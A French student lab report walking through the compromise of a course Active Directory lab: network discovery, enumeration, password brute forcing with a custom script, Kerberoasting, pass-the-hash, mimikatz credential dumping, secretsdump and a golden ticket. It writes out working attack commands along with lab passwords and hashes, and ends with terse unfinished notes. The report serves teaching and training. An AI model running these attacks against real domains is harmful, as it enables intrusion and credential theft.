---
# System prepended metadata

title: 'TD : Sécurité Active Directory'

---

<header style="text-align: center;">

# TD : Sécurité Active Directory
</header>

## Accès au réseau

J'ai utilisé `nano` pour modifier `openvpn-eleve.conf` pour qu'il pointe vers les identifiants qui m'ont été attribué: **Elève 19**.

Après la modification:

```bash 
$ cat openvpn-eleve.conf
# cat openvpn-eleve.conf 👍
# -------------------------------------------------------------------
client
dev tun
port 1193
proto udp

remote 35.180.158.152 1193
nobind
auth-nocache

ca ./ca.crt
cert ./certs_2023/2023_eleve19.crt
key ./keys_2023/2023_eleve19.key

remote-cert-tls server

user nobody
comp-lzo
persist-key
persist-tun

verb 3
# -------------------------------------------------------------------
```

Puis on lance `openvpn` et on remplit le change mot de passe par le mot de passe attribué dans le fichier `password_keys.txt`.
	
Tout se passe bien et le client OpenVPN éxecute:
![](https://i.imgur.com/gKQPohk.png)

Puis on teste la connectivité au réseau du laboratoire en lançant:
	
```bash
$ nc -nvz 192.168.30.60 3389
# nc -nvz 192.168.30.60 3389 👍
# -------------------------------------------------------------------
Connection to 192.168.30.60 3389 port [tcp/*] succeeded!
# -------------------------------------------------------------------
```

**Explication de la commande:**

- `-n` indique à netcat de ne pas effectuer de résolution DNS pour l'adresse IP ou le nom d'hôte donné.
- `-v` signifie "verbose", ce qui permet d'afficher une sortie plus détaillée.
- `-z` indique à netcat de rechercher les démons en écoute, sans envoyer de données.

Ainsi, lorsque nous exécutons cette commande, netcat envoie un paquet TCP mais sans envoyer de données. Si l'hôte distant écoute sur ce port, il répondra par un paquet d'accusé de réception, et netcat affichera un message "réussi". Si le port est fermé ou n'est pas à l'écoute, un message d'échec s'affiche.

## I - Découverte du réseau

> Les machines du laboratoire ont les adresses IPs suivantes :
>	- 192.168.30.60
>	- 192.168.30.61
>	- 192.168.30.62
>	- 192.168.30.64
>	- 192.168.30.70
>
>	1) Déterminez laquelle est le contrôleur de domaine.
>	2) Trouvez le nom de domaine associé.
>	3) Sur les machines restantes, combien sont des machines Windows ? Des machines Linux ? Parmi les machines Windows combien y-a-t’il de serveurs ? De postes clients ?

### Addresse du contrôleur du domaine

On regarde le contenu de `/etc/resolv.conf` en espèrant trouver un des ces addresses IP:

```bash
$ cat /etc/resolv.conf
# cat /etc/resolv.conf 👍
# -------------------------------------------------------------------
# This file was automatically generated by WSL. To stop automatic generation of this file, add the following entry to /etc/wsl.conf:
# [network]
# generateResolvConf = false
nameserver 172.24.160.1
# -------------------------------------------------------------------
```
Les contrôleurs de domaine ont souvent le rôle de KDC. Un scan réseau
du port TCP 88 révélera les contrôleurs de domaine.

```bash
$ nmap -p 88 192.168.30.0/24
# nmap -p 88 192.168.30.0/24 👍
# -------------------------------------------------------------------
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-28 15:10 CEST
Nmap scan report for 192.168.30.60
Host is up (0.023s latency).

PORT   STATE SERVICE
88/tcp open  kerberos-sec
...
# -------------------------------------------------------------------
```

Ainsi l'addresse IP de notre contrôleur de domaine est: **192.168.30.60**

### Nom de domaine associé

Une requête Netbios à un contrôleur de domaine grâce à nmblookup
par exemple permet d’obtenir le nom du domaine:

```bash
$ nmblookup -A 192.168.30.60
# nmblookup -A 192.168.30.60 👍
# -------------------------------------------------------------------
Looking up status of 192.168.30.60
        DC01            <00> -         B <ACTIVE>
        COGIFORM        <00> - <GROUP> B <ACTIVE>
        COGIFORM        <1c> - <GROUP> B <ACTIVE>
        DC01            <20> -         B <ACTIVE>
        COGIFORM        <1b> -         B <ACTIVE>

        MAC Address = 06-1C-46-58-B4-76
# -------------------------------------------------------------------
```

Le nom de domaine associé semble être `COGIFORM`.

### Sur les machines restantes, combien sont des machines Windows ? Des machines Linux ? Parmi les machines Windows combien y-a-t’il de serveurs ? De postes clients ?

Pour identifier les machines windows, on peut lancer un scan nmap sur le réseau et identifier les machine où le port 445 est ouvert:

![](https://i.imgur.com/vnUABiz.png)

On remarque que seulement la machine `192.168.30.70` n'est pas Windows. (la machine `192.168.30.227` n'est pas mentionnée)

- Machines windows: **4 (3 + DC)**
- Non Windows / Peut-être linux: **1**

La tâche suivante est de compter le nombre de serveurs et postes client parmi les machines Windows.

On utilise nmap avec l'option `-O` pour la détection d'OS.

![](https://i.imgur.com/sCJE2uv.png)

On trouve 2 machines avec un os `microsoft_server_...` et 1 sans.

- Serveurs: **3 (2 + DC)**
- Clients: **1**

Toutes les machines Windows sont des serveurs.

## II - Enumeration

> 1) Trouvez la liste des utilisateurs du domaine.
> 2) Vérifiez la validité des accès trouvés par énumération anonyme à l’aide > de l’outil de votre choix.
> 3) À l’aide de l’outil ldapsearch, récupérez la liste des machines du > domaine, la liste des administrateurs de domaine, et la liste des comptes utilisateurs du domaine.


### Liste des utilisateurs du domaine

On essaye la solution la plus facile:

![](https://i.imgur.com/h8n5juk.png)

Et ça ne marche pas. (peut-être parce que les bind anonymes sont désactivés?)

On utilise ainsi la technique `enum4linux` présenté dans le cours:

![](https://i.imgur.com/Detb9af.png)
...
![](https://i.imgur.com/zgwLR7z.png)

On trouve un flag (mot de passe de `tom.moreno`) et la liste d'utilisateurs.


### Vérifiez du flag trouvé par énumération anonyme à l’aide de l’outil de votre choix

`rpcclient` pour diversifier:

![](https://i.imgur.com/YiUG8df.png)

### Récupération de la liste des machines du domaine, la liste des administrateurs de domaine, et la liste des comptes utilisateurs du domaine

On peut maintenant faire des `ldapsearch` grâce au identifiants trouvés.

On obtiendra ainsi les 2 champs cn, dn pour ne pas faire de screenshots très longues.

**Pour les ordinateurs:**
```bash
$ ldapsearch -H ldap://192.168.30.60 -D "COGIFORM\tom.moreno" -w "V3ry_Str0ng_P@ssword" -x -b "DC=cogiform,DC=local" -s sub "(objectclass=computer)" dn
```

![](https://i.imgur.com/Zd6BC6f.png)

**Pour les utilisateurs:**
```bash
$ ldapsearch -H ldap://192.168.30.60 -D "COGIFORM\tom.moreno" -w "V3ry_Str0ng_P@ssword" -x -b "CN=Users,DC=cogiform,DC=local" dn
```

![](https://i.imgur.com/TSIuDV3.png)

**Pour les administrateurs**
```bash
$ ldapsearch -H ldap://192.168.30.60 -D "COGIFORM\tom.moreno" -w "V3ry_Str0ng_P@ssword" -x -b "CN=Users,DC=cogiform,DC=local" -s sub "(memberof=CN=Administrators,CN=Builtin,DC=cogiform,DC=local)" dn
```

![](https://i.imgur.com/PCp6ZD2.png)

## III – Compromission de comptes additionnels

>1) À l’aide des recommandations faites dans le cours, lancez une attaque bruteforce contre le compte jean.lojer. Devez vous prendre des précautions particulières ? Pourquoi ? Ajoutez vos réponses, les screenshots le justifiant et le screenshot de l’attaque réussie au rapport.
> 2) Maintenant que vous avez deux comptes de domaine valides, quel mécanisme d’authentification êtes vous susceptibles d’attaquer ? Récupérez le secret d’un utilisateur supplémentaire et cassez son mot de passe. La wordlist rockyou, présente sous le chemin /usr/share/wordlists sur votre machine Kali peut être utilisée. Ajoutez le screenshot du secret de l’utilisateur, et celui de son mot de passe, une fois cassé, au rapport

En continuant à suivre les conseils du cours, on va tenter de monter les exports NFS et voir s'il y a quelque chose d'intéressant.

Malhereusement, ceci ne marche pas.
![](https://i.imgur.com/yeTLujl.png)


Maintenant, on essayera une attaque brute sur le compte utilisateur `jean.lojer`. Cependant, il est probable que les attaques de ce type sont détectés et bloqués. Heureseument, ce n'est pas le cas. On voit que la politique de mot de passe (`enum4linux`) que `Account Lockout Threshold` est mis à `None`. 

![](https://i.imgur.com/yBQgPoj.png)

J'ai installé le packet `wordlists` qui crée un fichier `/usr/share/wordlists/rockyou.txt`. J'ai filtré pour seulement avoir les lignes avec un nombre de charactère supérieur à 7 avec un `grep -oE "^.{7,}$" /usr/share/wordlists/rockyou.txt > /usr/share/wordlists/rockyou7+.txt`.

On utilisera ce fichier avec `cme` pour lancer la bruteforce.

Cette méthode prend beaucoup de temps, et va probablement pas réussir. On va essayer une attaque plus visée en suivant les conseils du cours:

```python
from os import system

...

YEARS = range(2000, 2025)
WORDLIST = concat("",  [
  transform(
    sequence([
      words(["cogiform"]),
      # wordlist('/usr/share/wordlists/firstnames.txt'),
      # wordlist('/usr/share/wordlists/lastnames.txt'),
      wordlist('/usr/share/wordlists/cities.txt'),
      # wordlist('/usr/share/wordlists/cars.txt')
    ]),
    lambda word: [word.lower(), word.upper(), word.title()]
  ),
  YEARS,
])

SERVER = "192.168.30.60"
USER = "jean.lojer"

for wordbatch in batch(WORDLIST, 10):
  wordlist = " ".join(wordbatch)
  system(f"cme smb {SERVER} -u {USER} -p {wordlist}")
```

On retrouve le mot de passe cette fois ci, c'est **Cogiform2020**.
![](https://i.imgur.com/t0PwAzE.png)

### Récuperation d'un troisième compte

Maintenant qu'on a deux comptes de domaine valides (mais vraiment besoin que d'un seul pour ça), pourra attaquer le mecanisme d'authentification de Kerberos.

Ceci consiste à énumérer les comptes possédant des SPNs pour récupérer des tickets TGS correspondants à ces services. Les tickets Kerberos TGS sont chiffrés avec le hash du mot de passe
du compte exécutant le service ciblé. On va tenter de les déchiffrer pour retrouver le mot de passe du compte en question.

#### Récupération des SPNs et du ticket TSG

```bash
$ GetUserSPNs.py -request -dc-ip 192.168.30.60 -outputfile ticket.txt "COGIFORM.local/jean.lojer:Cogiform2020"
#  👍
# -------------------------------------------------------------------
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

ServicePrincipalName             Name         MemberOf  PasswordLastSet             LastLogon                   Delegation
-------------------------------  -----------  --------  --------------------------  --------------------------  ----------
DC01/sql_service.cogiform.local  sql_service            2020-08-03 16:00:53.662789  2023-03-27 23:36:47.041682
# -------------------------------------------------------------------

$ cat ticket.txt
# cat ticket.txt 👍
# -------------------------------------------------------------------
cat ticket.txt
$krb5tgs$23$*sql_service$COGIFORM.LOCAL$COGIFORM.local/sql_service*$8b2ab2ef74da6c69f9118a021fcad31b$46c40c4ee20bfd67...
# -------------------------------------------------------------------
```

On a obtenu le ticket TSG de `DC01/sql_service.cogiform.local`.

#### Cassage du mot de passe

Des logiciels de cassage tels que john ou hashcat permettent de casser les TGS et d’obtenir les mots de passe des comptes de services.
Ceci se fait hors ligne sur la machine et on pourra utiliser des listes de mot plus grandes.
Comme conseillé par le TP on utilisera `/usr/share/wordlists/rockyou7+.txt`.
La commande à éxecuter est:

```bash
$ john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou7+.txt ticket.txt
```

![](https://i.imgur.com/TtZa2C1.png)

Le mot de passe trouvé est: **Birmingham01**.

On teste une authentification:
![](https://i.imgur.com/9zqsKfS.png)

👍😎🎩

## IV - Compromission des servers

On se connecte au compte `sql_service` qu'on vient d'obtenir.

```bash
$ smbclient.py COGIFORM/sql_service:Birmingham01@192.168.30.61
# -------------------------------------------------------------------
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

Type help for list of commands
# who
host: \\192.168.30.227, user: sql_service, active:    18, idle:     1
# info
Version Major: 6
Version Minor: 3
Server Name: SRV02
Server Comment:
Server UserPath: c:\
Simultaneous Users: 16777216
# use ADMIN$
# ls
...
-rw-rw-rw-     357376  Thu Jul 30 03:47:09 2020 cmd.exe
...
# -------------------------------------------------------------------
```

l'utilisateur `sql_service` a les privilège d'administrateur sur la machine avec l'addresse IP `192.168.30.61`.

On utilise `psexec.py` pour obtenir un shell sur la machine.

**Notes sur `psexec.py`**

L'implémentation d'Impacket crée un service distant en téléchargeant un exécutable avec un nom aléatoire dans le share ADMIN$, en enregistrant un service via RPC et le SCM, puis en communiquant par le biais d'un named pipe.

![](https://i.imgur.com/m7LOmbg.png)

### Récuperation des secrets de la machine

![](https://i.imgur.com/w4uuabB.png)
 
x
**Notes sur `secretsdump.py`**

Ce script exécute diverses techniques pour extraire les secrets de la machine distante sans exécuter d'agent. Les techniques incluent la lecture des secrets SAM et LSA à partir des registres, l'extraction des hachages NTLM, des informations d'identification en clair et des clés kerberos, et l'extraction de NTDS.dit. La commande suivante tente d'extraire tous les secrets de la machine cible à l'aide des techniques mentionnées précédemment.

### Compromission de l’autre Windows server

On passe les hash sur le compte `Administrator` à Pass the Hash. Il y a plusieurs façons de passer le hash:

```bash
$ ps.exec -hashes aad3b435b51404eeaad3b435b51404ee:4ac966f57adc346517aa327b1e3b2fc7 Administrator@192.168.30.62
# ❌
#-------------------------------------------------------------------
#Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[-] SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)
#-------------------------------------------------------------------
```

Cette commande échoue sur toutes les machine. Essayons maintenant `local_admin`.

![](https://i.imgur.com/lquZRtS.png)

👍😎🎩

## V - Devenir Administrateur de domaine

### Récupération du mot de passe du compte Administrator ~ administrateur de domaine.

Continuant dans le powershell de la dernière partie, on lance `mimikatz.exe`.

La commande suivante accorde au compte courant les autorisations de déboguer les processus (SeDebugPrivilege):
```mimikatz
privilege::debug
```
Lister des sessions utilisateur actives:
```mimikatz
sekurlsa::logonPasswords full
```

![](https://i.imgur.com/OfnPcQ6.png)

Le mot de passe est: **SecurePassword1** sur la machine `192.168.30.62`.

On trouve aussi dans les logs:

![](https://i.imgur.com/pt3NaK0.png)

Le mot de passe est: **m9oPs4AVXYrYMdTWgeYX** sur la machine `192.168.30.62`.

On va tenter si ce mot de passe nous permet de connecter en tant que admin à `192.168.30.60`.


### Connectez vous au contrôleur de domaine pour finir le chemin de compromission

Bingo 👍😎🎩

![](https://i.imgur.com/A3v3UqG.png)

## VI - Compromission le reste du réseau

### Serveur linux

> 1) Sachant que sur le serveur Linux, un utilisateur valide est ‘debian’, gagnez un accès au serveur.

Dans ce cas on tente le mot de passe `debian`.

![](https://i.imgur.com/kiRX0DY.png)

👍😎🎩

![](https://i.imgur.com/5OyrTQ8.png)

> 2) Sur le serveur, retrouvez le mot de passe du compte de domaine ‘sql_service’. Envoyez les screenshots des fichiers que vous avez utilisé pour retrouver ce mot de passe.

On lance un grep et on espère trouver une réference à `sql_service`

```bash
$ grep -ir "sql_service" / 2> /dev/null
```

![](https://i.imgur.com/d7JdZYp.png)

### Attaque Golden Ticket

En lançant

```bash
$ secretsdump.py Administrator:m9oPs4AVXYrYMdTWgeYX@192.168.30.60
```

![](https://i.imgur.com/UZbFSGx.png)

Don't use golden ticket

On voit apparaître le nt hash de `krbtgt`: **ec7517bf979daa3006983a6ab6660c4c**.

Puis on utilise `mimikatz` pour ticket-granting ticket (TGT).

```mimikatz
kerberos::golden /domain:WRK01.COGIFORM.LOCAL /sid:S-1-5-21-431173448-2220119629-3285569898 /krbtgt:ec7517bf979daa3006983a6ab6660c4c /admin:sus /id:500 /ptt
```

Puis on injecte le ticket dans la session actuelle avec

````mimikatz
kerberos::ptt ticket.kirbi
````

![](https://i.imgur.com/TNtOwly.png)


### Client Windows 7

use back/ftpupload
read it
use freeRDP to connect to windows desktop

> 1) À l’aide de vos accès au domaine, énumérez les ressources mises à disposition par le client Windows 7

![](https://i.imgur.com/OeFG3ND.png)


> 2) Trouvez le mot de passe d’un compte autorisé à accéder au système.

On fouille le système de fichiers, on trouve certains fichier qui contiennet à la fois un nom d'utilisateur et un mdp.

Par exemple:

![](https://i.imgur.com/RDRBmSa.png)


Parmi ceux, rien n'a pas marché malheureusement.
